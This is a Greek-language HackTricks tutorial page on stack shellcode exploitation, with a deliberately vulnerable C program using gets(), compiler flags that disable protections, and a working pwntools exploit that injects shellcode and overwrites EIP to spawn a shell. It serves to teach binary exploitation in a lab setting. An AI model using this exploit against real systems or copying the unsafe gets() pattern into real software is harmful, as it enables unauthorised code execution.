Stack Shellcode

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Το κώδικας shell στη στοίβα είναι μια τεχνική που χρησιμοποιείται στη δυαδική εκμετάλλευση όπου ένας επιτιθέμενος γράφει κώδικα shell στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί το Δείκτη Εντολών (IP) ή το Επεκτεταμένο Δείκτη Εντολών (EIP) για να δείχνει στη θέση αυτού του κώδικα shell, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτηθεί μη εξουσιοδοτημένη πρόσβαση ή να εκτελεστούν αυθαίρετες εντολές σε ένα σύστημα στόχο. Εδώ υπάρχει μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και πώς θα μπορούσατε να γράψετε ένα αντίστοιχο εκμετάλλευση χρησιμοποιώντας Python με το pwntools.

Παράδειγμα σε C: Ένα Ευάλωτο Πρόγραμμα

Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος σε C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Αυτό το πρόγραμμα είναι ευάλωτο σε ένα buffer overflow λόγω της χρήσης της συνάρτησης gets().

Σύνταξη

Για να μεταγλωτίσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Απενεργοποιεί την προστασία της στοίβας.

  • -z execstack: Κάνει τη στοίβα εκτελέσιμη, η οποία είναι απαραίτητη για την εκτέλεση κώδικα κέλυφους που αποθηκεύεται στη στοίβα.

  • -no-pie: Απενεργοποιεί το Position Independent Executable, κάνοντας πιο εύκολο το να προβλέψουμε τη διεύθυνση μνήμης όπου θα βρίσκεται ο κώδικας κέλυφους μας.

  • -m32: Μεταγλωτίζει το πρόγραμμα ως εκτελέσιμο 32-bit, συχνά χρησιμοποιείται για απλότητα στην ανάπτυξη εκμετάλλευσης.

Εκμετάλλευση Python χρησιμοποιώντας το Pwntools

Εδώ είναι πώς θα μπορούσατε να γράψετε μια εκμετάλλευση σε Python χρησιμοποιώντας το pwntools για να εκτελέσετε μια επίθεση ret2shellcode.

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Αυτό το σενάριο κατασκευάζει ένα φορτίο που αποτελείται από ένα NOP slide, το shellcode, και στη συνέχεια αντικαθιστά το EIP με τη διεύθυνση που δείχνει στο NOP slide, εξασφαλίζοντας έτσι την εκτέλεση του shellcode.

Το NOP slide (asm('nop')) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "ολισθήσει" στο shellcode μας ανεξάρτητα από την ακριβή διεύθυνση. Ρυθμίστε το όρισμα p32() στην αρχική διεύθυνση του buffer σας συν ένα offset για να καταλήξετε στο NOP slide.

Προστασίες

  • Το ASLR πρέπει να είναι απενεργοποιημένο για να είναι αξιόπιστη η διεύθυνση σε κάθε εκτέλεση, διαφορετικά η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαζόσασταν κάποια διαρροή για να βρείτε πού φορτώνεται η συνάρτηση κέρδους.

  • Τα Stack Canaries πρέπει επίσης να είναι απενεργοποιημένα διαφορετικά η υποχρεωμένη επιστροφή της διεύθυνσης EIP δεν θα ακολουθηθεί ποτέ.

  • Το NX προστασία stack θα εμποδίσει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.

Άλλα Παραδείγματα & Αναφορές

Last updated